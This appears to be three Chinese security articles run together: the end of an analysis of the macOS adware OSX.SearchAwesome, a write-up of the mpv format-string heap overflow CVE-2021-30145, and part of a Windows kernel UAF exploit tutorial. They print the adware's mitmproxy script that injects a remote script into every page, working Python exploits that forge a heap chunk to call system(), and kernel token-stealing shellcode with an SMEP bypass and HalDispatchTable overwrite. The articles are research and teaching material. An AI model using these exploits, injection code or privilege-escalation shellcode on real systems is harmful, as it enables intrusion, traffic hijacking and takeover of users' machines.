`spid.plist`代理是用来启动`spi.app`的，但并不能确认应用持续运行。如果用户迫使应用退出，那么计算机重启或用户退出再登陆前应用不会再打开。
`spid-uninstall.plist`代理会监控`spi.app`的移除，如果APP被移除，就会同时移除恶意软件的其他组件。
恶意软件还会安装用作mitm中间人攻击的证书，恶意软件就可以将自己插入到网络包中。恶意软件首先会用证书来获取https流量的访问权限，https会将浏览器和网站之间的流量加密，这样其他软件就不能查看其流量了。但因为系统信任安装的证书，所以再安装过程中如果需要输入密码，证书就会被信任，就可以用来拦截https流量。
然后，恶意软件会安装一个开源软件mitmproxy。该软件就开源被用来拦截、检查、修改和中继web流量。证书也是mitmproxy项目所有的，软件不仅能够拦截未加密的http流量，也可以拦截加密的https流量。
软件可以用这种能力来修改web流量将JS注入到每个页面上。这可以在恶意软件安装的`inject.py`脚本中看出来。
from mitmproxy import http
def response(flow: http.HTTPFlow) -> None:
if flow.response.status_code == 200:
if "text/html" in flow.response.headers["content-type"]:
flow.response.headers.pop("content-security-policy", None)
flow.response.headers.pop("content-security-policy-report-only", None)
script_url = "https://chaumonttechnology.com/ia/script/d.php?uid=d7a477399cd589dcfe240e9f5c3398e2&a=3675&v=a1.0.0.25"
html = flow.response.content
html = html.decode().replace("</body>", "http://+script_url+</body>")
flow.response.content = str(html).encode("utf8")
从上面脚本可以看出，恶意软件会在受害者计算机上加载的每个页面都注入来源于恶意站点的脚本。
# 下载
如果spi.app被删除了，`spid-uninstall.plist`代理就会运行下面的脚本：
if ! [ -d "/Applications/spi.app" ]; then
networksetup -setwebproxystate "Wi-Fi" off
networksetup -setsecurewebproxystate "Wi-Fi" off
networksetup -setwebproxystate "Ethernet" off
networksetup -setsecurewebproxystate "Ethernet" off
VERSION=$(defaults read com.searchpage.spi version)
AID=$(defaults read com.searchpage.spi aid)
UNIQUE_ID=$(defaults read com.searchpage.spi unique_id)
curl "http://www.searchawesome.net/uninstall.php?un=1&v=$VERSION&reason=&unique_id=$UNIQUE_ID&aid=$AID"
defaults delete com.searchpage.spi
defaults delete com.searchpage.spiinstall
rm ~/Library/LaunchAgents/spid-uninstall.plist
rm ~/Library/LaunchAgents/spid.plist
fi
脚本的第一个功能是关闭刚才设置好的代理，然后获取程序的优先项信息，并发送这些信息到web服务器，最后删除这些优先项和启动代理。
进程的第一步就是脚本产生一个认证请求，会出现4次，每次都要求输入密码。
研究人员不建议使用恶意软件提供的卸载服务，因为卸载器在卸载时又会安装一些新的组件。
# 总结
该广告恶意软件乍一看一点也不像恶意软件，但是会注入服务于广告的恶意脚本。因为脚本是从服务器侧加载的，而服务器的内容可以随时修改。也就是说，未来服务器的内容修改后可以将用户重定向到钓鱼站点和窃取用户数据。
注入的脚本可以用来挖矿、获取键盘输入等。因为使用的MitM攻击，不依赖于JS脚本和修改web页面内容，恶意软件可以静默地获取数据。
即使恶意软件被移除，仍然会带来潜在的伤害。比如遗留的执行MitM攻击的工具，可以被其他恶意软件用来执行其他攻击。
Malwarebytes研究人员检测并移除了恶意软件的组件OSX.SearchAwesome。但并没有移除合法开源工具mitmproxy的组件。被感染的用户应该从keychain中移除mitmproxy证书。
# IoC
如果在Mac中看到下面中的任意一个文件，说明机器被该恶意软件感染了：
/Applications/spi.app
~/Library/LaunchAgents/spid-uninstall.plist
~/Library/LaunchAgents/spid.plist
~/Library/SPI/
这是安装了mitmproxy的标志：
`~/.mitmproxy/`
Mitmproxy的证书：
<https://blog.malwarebytes.com/threat-analysis/2018/10/mac-malware-intercepts-encrypted-web-traffic-for-ad-injection/> | 社区文章 |
**作者：天融信阿尔法实验室
原文链接：<https://mp.weixin.qq.com/s/2q8kSl6oC7ECXU8OaMwuTw>**
## 0x00 背景介绍
mpv项目是开源项目，可以在多个系统包括Windows、Linux、MacOs上运行，是一款流行的视频播放器，mpv软件在读取文件名称时存在格式化字符串漏洞，可以导致堆溢出并执行任意代码。
## 0x01 环境搭建
系统环境为Ubuntu x64位，软件环境可以通过两种方式搭建环境。
1.通过源码编译，源码地址为：<https://github.com/mpv-player/mpv/tree/v0.33.0>
下载地址为：<https://github.com/mpv-player/mpv/archive/refs/tags/v0.33.0.zip>
2.直接安装安装包，安装后没有符号，调试不方便，可以使用以下三条命令来安装软件：
sudo add-apt-repository ppa:mc3man/mpv-tests
sudo apt-get update
sudo apt-get install mpv
参考<https://blog.csdn.net/qq_34626094/article/details/113122032>
安装完成后运行软件如下所示：
## 0x02 漏洞复现
源代码：
demux_mf.c文件中154行存在对sprintf函数的调用，sprintf函数是格式化字符串函数，参数1是目标缓冲区，参数2是格式化字符串，参数2是可控的，第三个参数是循环次数，mpv程序本身支持文件名中传入一个%，可以使用%d打印这个循环次数，但是由于校验不严格，并没有校验其他的格式化字符串，以及%的个数，所以存在格式化字符串漏洞：
在demux_mf.c文件中127行会检查是否存在%，没有判断有几个%，以及%之后的参数。
程序存在格式化字符串漏洞，使用如下命令运行程序：./mpv -v mf://%p.%p.%p
运行mpv时使用-v参数可以打印出更加详细的信息，此时可以看到打印出了栈上的信息，格式化字符串漏洞造成了信息泄漏。
demux_mf.c文件中154行存在对sprintf函数的调用，sprintf函数是格式化字符串函数，参数1是缓冲区，参数2是格式化字符串，这是可控的，现在为了安全都使用snprintf函数，可以限制缓冲区的大小，使用sprintf函数会造成信息泄漏，图中fname是堆中的缓冲区地址：
程序自己实现了一个内存申请函数，包含自定义的块头结构，在函数的124行调用talloc_size来申请内存，申请大小为文件名的大小加32个字节，如果使用格式字符串例如%1000d，会把一个四字节数据扩展到占用1000个字节，这样会导致堆溢出。
上图中，启动mpv时传入参数 mf://%1000d会导致程序崩溃。
## 0x03 漏洞分析
通过源码编译后可以根据符号对程序下断点，先查看下open_mf_pattern漏洞函数：
后
使用gdb启动mpv程序:gdb ./mpv
\~~~
gdb-peda$ disassemble open_mf_pattern
Dump of assembler code for function open_mf_pattern:
\~~~
0x00000000001e44af <+559>: call 0x1305a0 < __ sprintf_chk@plt>
\~~~
可以看到在open_mf_pattern+0x559处调用的是sprintf_chk函数，这是因为使用源码编译时使用了FORTIFY_SOURCE选项，对sprintf函数的调用会自动修改为调用sprintf_chk函数，可以在gdb-peda下输入checksec检查:
gdb-peda$ checksec
CANARY : ENABLED
FORTIFY : ENABLED 可以看到开启了FORTIFY选项
NX : ENABLED
PIE : disabled
gdb-peda$
sprintf_chk函数有一个变量表明缓冲区的大小，但是因为此处缓冲区是通过talloc_size申请堆上的内存，所以没有办法在编译器确定缓冲区的大小，所以此函数使用0xFFFFFFFFFFFFFFFF来表明缓冲区的大小，这样我们就可以使用堆溢出来利用这个漏洞，实际操作中这个漏洞被利用可能性还是比较小的，本次在Ubuntu
20.04.1 LTS系统和关闭ASLR情况下利用此漏洞：
## 0x04 漏洞利用程序开发
开发利用程序前，需要使用sudo sh -c "echo 0 >
/proc/sys/kernel/randomize_va_space"命令关闭系统的ASLR功能。
mpv程序运行时会把格式化字符串块保存在自定义的块中，使用talloc_size来分配内存，还有自定义的堆头结构。
struct ta_header {
size_t size; // size of theuser allocation
// Invariant:parent!=NULL => prev==NULL
struct ta_header *prev; // siblings list(by destructor order)
struct ta_header *next;
// Invariant:parent==NULL || parent->child==this
struct ta_header *child; // points tofirst child
struct ta_header *parent; // set for_first_ child only, NULL otherwise
void (*destructor)(void *);
#ifTA_MEMORY_DEBUGGING
unsigned int canary;
struct ta_header *leak_next;
struct ta_header *leak_prev;
const char *name;
#endif
};
可以在ta.c文件中看到此结构的内容以及对应的函数，此结构中包含一个destructor，是析构指针，还有一个值是canary，编译选项TA_MEMORY_DEBUGGING默认是启用的，此值为固定值0xD3ADB3EF，是为了检测程序是否有异常。
当调用ta_free函数时会判断析构函数，如果析构函数不为空，那么会去调用析构函数。
在此函数内部还调用了get_header函数，函数内容为
根据堆块地址ptr往低地址偏移固定字节找到堆头结构地址tag_head*，然后调用ta_dbg_check_header函数
ta_dbg_check_header函数会检查canary值是否为0xD3ADB3EF，如果parent不为空，还会判断前向节点和父节点。
* 5.1 覆盖destructor指针
漏洞利用思路为调用sprintf函数时堆溢出到下一个堆的头结构，改变堆头结构的析构指针，当调用ta_free函数时，如果析构指针不为空，那么就会调用析构函数。
mpv程序在运行时可以读取m3u文件列表，如使用命令：
./mpv http://localhost:7000/x.m3u
mpv程序会去连接本地的7000端口，并获取x.m3u文件，获取的内容mf://及之后的内容保存在堆中，当mf://及之后的内容占用不同大小的空间时，程序会把文件名称的内容放在堆中不同的位置处，我们需要找到一个合适的大小来满足如下条件：当mpv将文件内容名称存放在堆中时，后面的内存内容包含一个自定义的堆头结构，这样当我们溢出数据时，可以操纵到后面的堆头结构内容。
使用如下的POC测试占用不同的空间可以将文件名称内容放到合适的地址处：
\#!/usr/bin/env python3
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('localhost', 7000))
s.listen(5)
c, a = s.accept()
playlist = b'mf://'
playlist += b'A'*0x40
playlist += b'%d' # we need a '%' to reach vulnerable path
d = b'HTTP/1.1 200 OK\r\n'
d += b'Content-type: audio/x-mpegurl\r\n'
d += b'Content-Length: '+str(len(playlist)).encode()+b'\r\n'
d += b'\r\n'
d += playlist
c.send(d)
c.close()
代码中使用playlist +=
b'A'*0x40来占位，0x40是经过测试的数据，笔者可以修改此值来测试占用多少字节可以申请一个合适的位置，运行此脚本文件。然后使用gdb调试mpv程序：gdb
./mpv
使用命令b *open_mf_pattern+559在调用sprintf_chk函数处下断点，使用命令运行 mpv程序：r
http://localhost:7000/x.m3u
可以看到第一个参数arg[0]数据为0x7fffec001210，使用命令 x/100xg
0x7fffec001210-0x50，往前偏移0x50是为了查看堆头结构的数据：
gdb-peda$ x/100xg 0x7fffec001210-0x50
0x7fffec0011c0: 0x0000000000000062 0x0000000000000000 [size] | [prev]
0x7fffec0011d0: 0x0000000000000000 0x0000000000000000 [next] | [child]
0x7fffec0011e0: 0x00007fffec0011400 0x0000000000000000 [parent] | [destructor]
0x7fffec001200: 0x0000000000000000 0x0000555556676b8f [leak_prev] | [name]
0x7fffec001210: 0x0000000000000000 0x0000000000000071 begin actual data
\~~~
0x7fffec001450: 0x0000000000000003 0x00007fffec004a80 [size] | [prev]
0x7fffec001460: 0x0000000000000000 0x0000000000000000 [next] | [child]
0x7fffec001470: 0x0000000000000000 0x0000000000000000 [parent] | [destructor]
0x7fffec001480: 0x00000000d3adb3ef 0x0000000000000000 [canary] | [leak_next]
0x7fffec001490: 0x0000000000000000 0x0000555556c288a0 [leak_prev] | [name]
0x7fffec0014a0: 0x000000006600666d 0x00000000000000f5 begin actual data
堆块的实际数据起始地址为0x7fffec001210，堆头地址为0x7fffec0011C0，紧随其后有一个堆头结构位于0x7fffec001450。
使用如下poc脚本即可覆盖0x7fffec001450堆头结构中的destructor指针
\#!/usr/bin/env python3
import socket
from pwn import *
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('localhost', 7000))
s.listen(5)
c, a = s.accept()
playlist = b'mf://'
playlist += b'A'*0x10
playlist += b'%590c%c%c%4$c%4$c%4$c%4$c%4$c%4$c%4$c%4$c\x22\x22\x22\x22\x22\x22'
d = b'HTTP/1.1 200 OK\r\n'
d += b'Content-type: audio/x-mpegurl\r\n'
d += b'Content-Length: '+str(len(playlist)).encode()+b'\r\n'
d += b'\r\n'
d += playlist
c.send(d)
c.close()
正常情况下%c即可格式化一个char类型的数据，使用%590c是为了似乎用空格字符占用更多的字节，让程序去处理目的地址590个字节后面的数据，%c%c的目的是跳到一个参数，该参数的值为0，%4c%4c%4c%4c将8个字节的0x00写到父指针parent中，绕过ta_dbg_check_header函数中对前向节点和父节点的检查。6个\x22将0x222222222222写入到destruct指针中。
程序会多次运行到sprintf_chk函数处，从源代码中可以看到程序会运行5次，在最后一次运行结束后，查看后续堆的头结构内容如下：
gdb-peda$ x/20xg 0x7fffec001450
0x7fffec001450: 0x2020202020202020 0x2020202020202020 [size] | [prev]
0x7fffec001460: 0x2020202020202020 0xdf6e042020202020 [next] | [child]
0x7fffec001470: 0x0000000000000000 0x0000222222222222 [parent] | [destructor]
0x7fffec001480: 0x00000000d3adb3ef 0x0000000000000000 [canary] | [leak_next]
当前已经覆盖了destructor指针为0x0000222222222222，输入指令c并回车继续运行：
可以看到出现段错误，RIP为0x222222222222，将要执行到RIP指向的指令，但是内存地址不合法导致程序出现段错误。
* 5.2 覆盖child指针
目前只修改到了RIP，其他的上下文并不合适，可以换一种利用思路，通过观察源代码可以看到：
在ta.c文件中可以看到调用析构函数后，还调用了ta_free_children释放子节点，在ta_free_children函数中调用ta_free释放子节点，然后在此函数中又判断子节点的destructor指针，如不为0，则调用destructor指向内存的代码。
现在需要换一种漏洞利用思路，即覆盖到堆头结构中的child指针，如果这个child块是我们自己可以构造的一个假块，构造destructor指针为system函数的地址，canary值为固定值0xd3adb3ef，还需构造假块的parent为0，就可以绕过判断，调用system函数时传入的指针为堆块的实际数据的起始地址，所以我们还需要构造这个假块的实际数据为“gnome-calculator”字符串。
还需要构造这个假块，
mpv程序读取m3u文件列表时，会接收http报文，http报文中包含了文件名数据，还可以在http报文中构造一个假块，当关闭ASLR情况下，http报文中假块的堆头结构地址是固定的0x00007fffec001dd8，这个地址在不同的系统版本以及软件下可能会有变化，所以需要读者自己去定位，笔者使用如下方式定位：
1.http报文在内存中的地址与调用sprintf时的目的地址在同一块内存中。
2.程序在调用sprintf断下后，使用vmmap查看进程模块占用了哪些内存页面，查看sprintf函数的第一个参数落到哪个内存块中：
如图参数1指向的内存落在0x00007fffec000000 0x00007fffec0b9000 rw-p mapped 内存块中，使用命令dump
binary memory ./files_down_exp_map 0x00007fffec000000
0x00007fffec0b9000即可dump内存到磁盘上。
3.使用二进制文本搜索工具如winhex，搜索gnome-calculator，即可找到假块在文件中的数据，对应到内存中即可找到数据。
图中文件偏移0x1DD8处的数据即为假块堆头结构，0x1E28处数据即为假块实际数据起始处。
4.找到假块堆头在文件中的位置为0x1DD8，那在内存中的位置为0x00007fffec000000+0x1DD8=0x00007fffec001DD8，修改对应EXP中子块的指针
5.在gdb-peda插件下输入命令：print
system，可以定位到system函数的地址，修改脚本中SYSTEM_ADDR为system函数对应地址。
EXP脚本如下：
\#!/usr/bin/env python3
import socket
from pwn import *
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('localhost', 7000))
s.listen(5)
c, a = s.accept()
playlist = b'mf://'
playlist += b'A'*0x30
playlist += b'%550c%c%c'
playlist += b'\xd8\x1d%4$c\xec\xff\x7f' # overwriting child addr with fake child
SYSTEM_ADDR = 0x7ffff760c410
CANARY = 0xD3ADB3EF
fake_chunk = p64(0) # size
fake_chunk += p64(0) # prev
fake_chunk += p64(0) # next
fake_chunk += p64(0) # child
fake_chunk += p64(0) # parent
fake_chunk += p64(SYSTEM_ADDR) # destructor
fake_chunk += p64(CANARY) # canary
fake_chunk += p64(0) # leak_next
fake_chunk += p64(0) # leak_prev
fake_chunk += p64(0) # name
d = b'HTTP/1.1 200 OK\r\n'
d += b'Content-type: audio/x-mpegurl\r\n'
d += b'Content-Length: '+str(len(playlist)).encode()+b'\r\n'
d += b'PL: '
d += fake_chunk
d += b'gnome-calculator\x00'
d += b'\r\n'
d += b'\r\n'
d += playlist
c.send(d)
c.close()
使用gdb启动mpv后，下断点b *open_mf_pattern+559，使用命令r
http://localhost:7000/x.m3u运行程序，多次运行sprintf_chk后查看内存数据：
gdb-peda$ x/20xg 0x7fffec001450
0x7fffec001450: 0x2020202020202020 0x2020202020202020
0x7fffec001460: 0xdf5e042020202020 0x00007fffec001dd8 [next] | [child]
child指针此时为0x00007fffec001dd8，查看child中的数据：
gdb-peda$ x/20xg 0x00007fffec001dd8
0x7fffec001dd8: 0x0000000000000000 0x0000000000000000
0x7fffec001de8: 0x0000000000000000 0x0000000000000000
0x7fffec001df8: 0x0000000000000000 0x00007ffff760c410 [parent] | [destructor]
0x7fffec001e08: 0x00000000d3adb3ef 0x0000000000000000 [canary] | [leak_next]
地址0x7fffec001e28处对应的是堆实际数据，对应的是字符串数据gnome-calculator，
destructor为system函数的地址，按c回车运行：
可以看到弹出了计算器。
总结一下利用思路：
1. mpv程序在读取m3u文件列表时会使用http协议从服务端上取出对应的文件名称
2. 服务端发送http报文时包含了格式化字符串以及一个构造的假块，这个假块包括伪造好的堆头结构以及堆内容
3. mpv取到对应的文件名称时会调用sprintf_chk时将文件名作为格式化字符串去格式化一个堆空间，由于目标地址是在堆中，所以没有办法在编译器确定堆的大小，传入一个0xFFFFFFFFFFFFFFFF作为堆的大小，相当于没有对堆空间大小做限制，调用此函数会导致堆溢出，溢出到相邻的一个堆块头结构，覆盖child指针。
4. 这个child指针指向一个假块，假块内容是服务器端使用http协议发过来的数据，假块包括头结构和实际数据，头结构中destructor字段修改system函数的地址，当释放这个child块时，会判断destructor指针是否为空，不为空则调用destructor指向的函数，参数为假块实际数据的地址，假块构造时在实际数据中填充字符串gnome-calculator，所以调用析构函数时效果相当于调用system(“gnome-calculator”)。
注意需要关闭系统的ASLR，这样system函数地址才为固定值，实际中此漏洞利用难度较大，需要绕过ASLR。
## 0x05 漏洞修复
目前该漏洞已经修复，本身程序运行时是支持文件名中带一个%d的格式化字符串，修复后检查只有一个%，并且是%d，如果是其他的参数则不合法。
对sprintf函数的调用修改为调用snprintf，限制了缓冲区的大小。
## 0x06 参考链接
mpv 媒体播放器–mf 自定义协议漏洞(CVE-2021-30145)：
<https://devel0pment.de/?p=2217>
* * * | 社区文章 |
**作者: wjllz
博客链接: <https://www.redog.me/2018/11/02/windows-kernel-exploit-part-2/>**
## 前言
Hello, 欢迎来到`windows kernel exploit`系列. 这是UAF系列的第二篇. 三篇的主要内容如下.
[+] 第一篇: HEVD给的样例熟悉UAF
[+] 第二篇: CVE-2015-0057在win8 X64下的利用
[+] windows 10 x64下的UAF
首先要说很多感谢, [NCC group](https://www.nccgroup.trust/us/)真的做了很杰出的工作, 受益颇多.
然后是[keenjoy95](https://weibo.com/keenjoy95?is_hot=1)老师,
他在blackhat上提供的PDF给我思路的理解提供了很大的帮助. 还有拖了这么多天.
[sakura师父](http://eternalsakura13.com/)没有把我打死.
还有就是[小刀师傅](https://xiaodaozhi.com/)这段时间不厌其烦的解惑.
然后是一点小小(大大)的抱歉.
[+] 这篇文章出来的比较晚. 其实第一篇文章写完之后就开始写第二篇了. 但是写完一大半的时候发现用户回调我还是不够透彻. 就vim 1000dd之后重新分析了一个洞.
[+] 这篇文章可能比较长. 因为这个洞牵涉到的知识点比较多. 但是不用担心. 涉及到的知识点大多数在其它漏洞中可以重复利用. 你只用学一次就够了.
[+] exp的代码还是写的太烂了, 最后成功提了权. 由于漏洞折腾了我很久. 所以实在没心情去重新组织代码结构了.
其次是一点小小的说明.
[+] 我把这个系列叫做系列大概是因为我无法保证我所会的是最好的解决方案, 很多东西只能凭现有的知识体系去想. 实现的过程肯定是走弯路了. 所以无法具有教程的资格.
[+] 但是anyway, 我擅长犯错. 希望把我的错贴出来. 避免下一位内核选手重复犯错(古巨基的很好听的一首歌)
[+] 笨方法总比没有办法好. 所以不如试试
[+] 一起成长
然后是一点啼笑皆非的事. 我实习的时候想去xxx, 然后师傅和我说. 你要是把`ddctf`的两道kernel pwn的题做出来, 我不认为你去不了.
所以`ddctf`的pwn题本来是我这个月末的目标来着. 结果在做堆头修复的时候. 查资料才发现这就是第二题… emmmmm. 不过由于我参考了过多的资料,
所以其实不算做出来.
下面是文章主要涉及的知识点:
[+] 利用win32k回调实现漏洞利用
==> 漏洞类型: UAF ==> 转化 ==> out of bounds ==> uaf ==> 利用(这个地方先不用太介意. 后面我会详细解释)
[+] windows8.1下泄露cookie修复堆头
[+] windows8.1下绕过SMEP
[+] heap feng shui
[+] 64位下shellcode的编译
[+] 在实现了write-what-where之后, 如何在内核调用shellcode
我自己浪费的时间比较久的是:
[+] heap fengshui花了我大量的时间
[+] cookie修复堆头浪费了我大量的时间
[+] 寻找可利用的回调函数
所以我会把这三个部分我犯得错误贴出来. 希望能够帮你避免你能够重复犯错.
代码的实现我实现的NCC group的方法. 由于英文比较差, 出现了点理解误差, 所以我的布局和NCC gruop的有一点点小的不同.
keenjoy98老师的方法我觉得我应该大概理解了, 但是我可能想的麻烦了, 所以就不再赘述.
Let’s Go
## 0x01: 一个小故事
故事的开头是这样的. 有一天你想实现一下内核提权. 于是你写了如下的shellcode.
shellCode proc
; shellcode编写
mov rax, gs:[188h] ;Kprcb.Kpthread
mov rax, [rax+220h] ;process
mov rcx, rax ; keep copy value
mov rdx, 4 ; system PID
findSystemPid:
mov rax, [rax+2e8h] ; ActiveProcessLinks : _LIST_ENTRY
sub rax, 2e8h
cmp [rax+2e0h], rdx
jnz findSystemPid
; 替换Token
mov rdx, [rax+348h] ; get system token
mov [rcx+348h], rdx ; copy
ret
shellCode endp
这部分的shellcode你可以从第一篇当中的到解释从而类推. 或者你可以在[这里](https://improsec.com/blog/windows-kernel-shellcode-on-windows-10-part-1)得到. 代码也有详细的注释. 所以 这一部分. 我主要讲一下如何编译64的汇编.
x64不支持`_asm`内联汇编. 所以我目前知道的有三种选择.
[+] 编写出shellcode. 采用其它软件(masm之类)生成可执行文件. 然后dump出字节码. 存储为char x[] = "\x90\x90"
[+] 利用c提供的函数实现汇编的功能
[+] 独立写.asm文件, 然后编译
我个人更喜欢第三种. 因为好看. 我的环境是vs 2015. 设置编译选项的动态图如下.
需要注意的是这两个命令. 原封不动的`ctrl+c`和`ctrl+v`即可
ml64 /c %(filename).asm
%(filename).obj;%(outputs)
好了. shellcode的编译已经写完了. 我们知道shellcode只能在内核当中执行. 如何在内核当中执行它呢.
在内核当中我们观察到一个有趣的代码段.
函数nt!NtQueryIntervalProfile+0x22调用了nt!KeQueryIntervalProfile,
接着我们观察一下nt!KeQueryIntervalProfile, 发现如下代码段.
我们发现这个地方调用了一个函数指针(一个指针用来存储函数的地址), 我们存储在nt!HalDispatchTable+0x8处 ,
那么它指向哪一个函数呢呢. 运行下面的指令
dqs nt!HalDispatchTable
hal是一个函数指针数组. dqs列出其中的值. 我们看到函数`hal!HaliQuerySystemInformation`存储在偏移0x8处. 如果.
我是说我们如果能有一个对任意地址写的机会. 我们就有能力修改偏移0x8处的值. 何不试试把它改成shellcode的地址.
那么在`KeQueryIntervalProfile`中的代码可以替换成call shellcode. 于是我们就可以执行shellcode.
记下我们接下来要实现的目标
[+] 需要有任意地址读写的机会
[+] 修改hal表的0x8为shellcode地址
那么我们去找一个漏洞吧, 才不要(逃), 作为一个win内核选手我们得记住我们是拥有windbg的男人. windbg具有的功能
[+] 可以采用eq eb ed等指令来修改数据(q b d代表修改的数据大小)
所以我们可以采用windbg来模拟任意地址读写. 整个过程的步骤如下.
[+] 找到haldispatchtable的地址
[+] 修改0x8处的地址为shellcode的地址
[+] 触发我们的NtQueryIntervalProfile函数, 来进行内核提权.
最后我们采用在代码最后加上system(“cmd”) 创建cmd, 用来观察提权是否成功.main函数代码如下.
#include <Windows.h>
#include <iostream>
#include "shellcode.h"
typedef NTSTATUS(__stdcall *NtQueryIntervalProfile_t)(UINT, PULONG);
NtQueryIntervalProfile_t NtQueryIntervalProfile;
BOOL runShellcode()
{
ULONG_PTR newcr4 = 0x406f8;
NtQueryIntervalProfile = (NtQueryIntervalProfile_t)GetProcAddress(GetModuleHandleA((LPCSTR) "ntdll.dll"), "NtQueryIntervalProfile");
if (!NtQueryIntervalProfile) {
std::cout << "failed" << std::endl;
exit(1);
}
__debugbreak(); // 这个地方让程序断下来 方便调试
NtQueryIntervalProfile(0x100300, (PULONG)&newcr4); // 传的两个参数先不用管, 后面解释.
}
int main()
{
std::cout << "shellcode address: " << shellCode << std::endl; //为了避免编译优化
runShellcode();
system("cmd");
}
需要注意的shi`__debugbreak`, 相当于`int 3`, 方便我们使用windbg, 这是我exp开发过程中用的最多的命令. 动态图如下:
wait, 咋和说好的不一样呢. 蓝屏了.
万恶之源来源于在微软在win8下实现的一个缓解措施. SMEP. 解释如下.
[+] 在SMEPbit位启用的情况下, windows如果检测到在内核层次执行用户层的代码. 会产生蓝屏.
上面的逻辑我们用伪代码表示如下.
if(在内核模式)
{
if(SMEP启用)
{
if(ring0代码运行在user space)
BSOD(); //蓝屏
}
}
我们看到那个地方有一个条件判断. 是否开启SMEP. 所以绕过这个判断. 让我们加入这一个语句绕过`SMEP`.
r cr4=0x406f8 // 修改cr4寄存器值为0x406f8. 为什么要这样修改下一节有解释(关闭SMEP).
ok, 再次运行. 得到提权. 演示如下.
好了. 提权成功, 那我们这篇文章到这里就结束了(我就皮一下…).
好吧, 还没有. 我们用的调试器. 那么我们得用代码模拟调试器呀. 如何模拟调试器呢. 三个小目标.
[+] 使用代码模拟调试器的r cr4=0x406f8的功能, 绕过SMEP
[+] 使用代码模拟调试器修改haldispatchtable的功能, 使其能够运行shellcode
[+] 用代码来模拟调试器的任意地址读写的功能
我们先讲前两个.
### `smep`绕过
我们前面的蓝屏是一件很难受的事, 所以我们得绕过`SMEP`.
`SMEP`是微软在win8先加的缓解措施. 其目的是`kernel不可执行user space的代码`.
所以假设我们的`shellcode`放在`0x410000`处(user mode), 我们控制rip执行`shellocde`的时候,
就会产生kernel执行user space代码的情况. 于是`BSOD`发生. 漏洞利用失败.
wait. 某某不可执行, 于是我们想到了我们的老本行, `DEP(数据段不可执行)`. 那么我们可不可以利用`DEP`的绕过方式: ROP.
答案是肯定的. 于是我们来看下面这一段代码.
kd> u fffff802`005f97cc
nt!KiConfigureDynamicProcessor+0x40:
fffff802`005f97cc 0f22e0 mov cr4,rax
fffff802`005f97cf 4883c428 add rsp,28h
fffff802`005f97d3 c3 ret
等等, `cr4`是啥. `cr4`是决定`SMEP`是否启用的关键寄存器. `SMEP`的启用状态将基于`cr4寄存器`来判断. 先来看一张图.
我们通过smep标志位(第20位, 从0计数)来判断是否要启用SMEP. 我们来查看一下我们的cr4寄存器的运行在我的环境下触发漏洞前后的对比.
.formats 00000000001506f8 // enable
Binary: 00000000 00000000 00000000 00000000 00000000 0001 0101 00000110 11111000
.formats 0x406f8 // disable
Binary: 00000000 00000000 00000000 00000000 00000000 0000 0100 00000110 11111000
我们可以看到关键bit位的更改,
假设我们把haldispatchtable+0x8处改为`nt!KiConfigureDynamicProcessor+0x40`的时候,
rax也刚刚好为`0x406f8`, 而刚好返回地址也为shellcode的地址, 那么简直完美. 幸运的是, 假设我们把漏洞利用函数改为此.
ULONG_PTR newcr4 = 0x406f8;
NtQueryIntervalProfile(shellcodeaddress, (PULONG)&newcr4);
你可以在`mov cr4, rax`此处下断点,
[+] 你会发现此时的rax刚好是我们`NtQueryIntervalProfile`函数的第二个参数.
[+] 你会发现ret的地址是我们shellcode地址的一半.
==> 比如shellcode为 3000 0000 0000 0000
==> ret指令时候[rsp] == 0000 0000(shellcode的后一半)
造成这种不幸的原因是什么呢, 我们查看exp代码这个地方的汇编代码, 长这样:
NtQueryIntervalProfile(0x100300, (PULONG)&newcr4);
00007FF77DCB200A lea rdx,[newcr4]
00007FF77DCB200F mov ecx,100300h ==> 注意这里是ecx
00007FF77DCB2014 call qword ptr [NtQueryIntervalProfile (07FF77DCC3EB0h)]
问题出在传入的寄存器是`ecx(32 bit)`, 而不是`rcx(64 bit)` 这个地方返回地址我们可控的是32位, 而我们的exp是64位,
也就是shellcode地址是64位的. `pwn2town`上介绍了一种我完全看不懂的方法(由于这个原因, 我尝试过其他的`SMEP BYPASS`).
所以在经过漫长的失眠之后, 我换了另外一个思路.
// [+] 0x100000 这个地址存放shellcode
// [+] ecx可以将这个值完整的传入
void * p = (void*)0x100000;
p = VirtualAlloc(p, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memset(p, 0x41, 0x1000);
CopyMemory((VOID*)0x100300, shellCode, 0x200); //现在shellcode32位可表示地址了.
在我的源码最后, 我加了这么几句, 来恢复堆栈平衡和修复cr4寄存器(不能瞎改内核的东西, 借完之后借的还回去)
sub rsp,30h
mov rax, 0fffff8020074af75h
mov [rsp], rax //这一部分恢复堆栈
ret
如果你惊讶于30等值是如何检测出来的, 你可以利用你的windbg, 动态调试来修复就可以了.
而`0fffff8020074af75h`是由于ROP的时候返回地址被破坏了, 我一开始采用虚拟机把它记作一个常量. 后来用获取基地址的计数把它替换掉了,
具体的你可以查看我的源码.
### 修改nt!haldisptachtable函数指针数组第二项.
由于windbg的存在, 我们可以假设我们已经拥有了`write-what-where`的功能. So, 如果是要完成将第二项改为shellcode的地址.
那我们第一件要做的事, 势必是去找到他. 调试器中我们很机智的用`dqs`就找到了, 但是在代码当中如何来实现呢. 源代码当中我是这样实现的
ULONG_PTR getHalDispatchtableAddress()
{
GetKernelImageBase(); // 获取kernel base address
HMODULE hNtosMod = LoadLibrary("ntoskrnl.exe");
ULONG lNtHalDispatchTableOffset = (ULONG)GetProcAddress(hNtosMod, "HalDispatchTable") - (ULONG)hNtosMod;
nt_HalDispatchTable = (ULONG_PTR)pKernelBase + lNtHalDispatchTableOffset + 8;
return nt_HalDispatchTable; // 返回第二项的地址.
}
首先, 我们假设我们经过GetKernelImageBase函数获取到了”ntoskrnl.exe”加载在内存当中的基地址,
并把它赋值给了pKernelBase变量(后面我们会让这个假设成为真实). 上面的代码获取nt!haldispatchTable在内核当中的地址的思路是:
[+] 先LoadLibrary装载ntoskrnl.exe到user space. 获取其基地址(hNtosMod)
[+] 获取HalDispatchTable在user space的地址(GetProcAddress)
[+] 获取ntosknrl.exe在内核当中的地址(pKernelBase)
[+] 用内核基地址加上偏移算出nt!haldispatchtable在内核当中的地址
好了, 让我们来获取`pKernelBase`.
### 获取pKernelBase
windows加了`地址随机化(KASLR)`. 所以每次开机重新加载的时候. `ntoskrnl.exe`在内核当中的基地址都不一样. 这一部分,
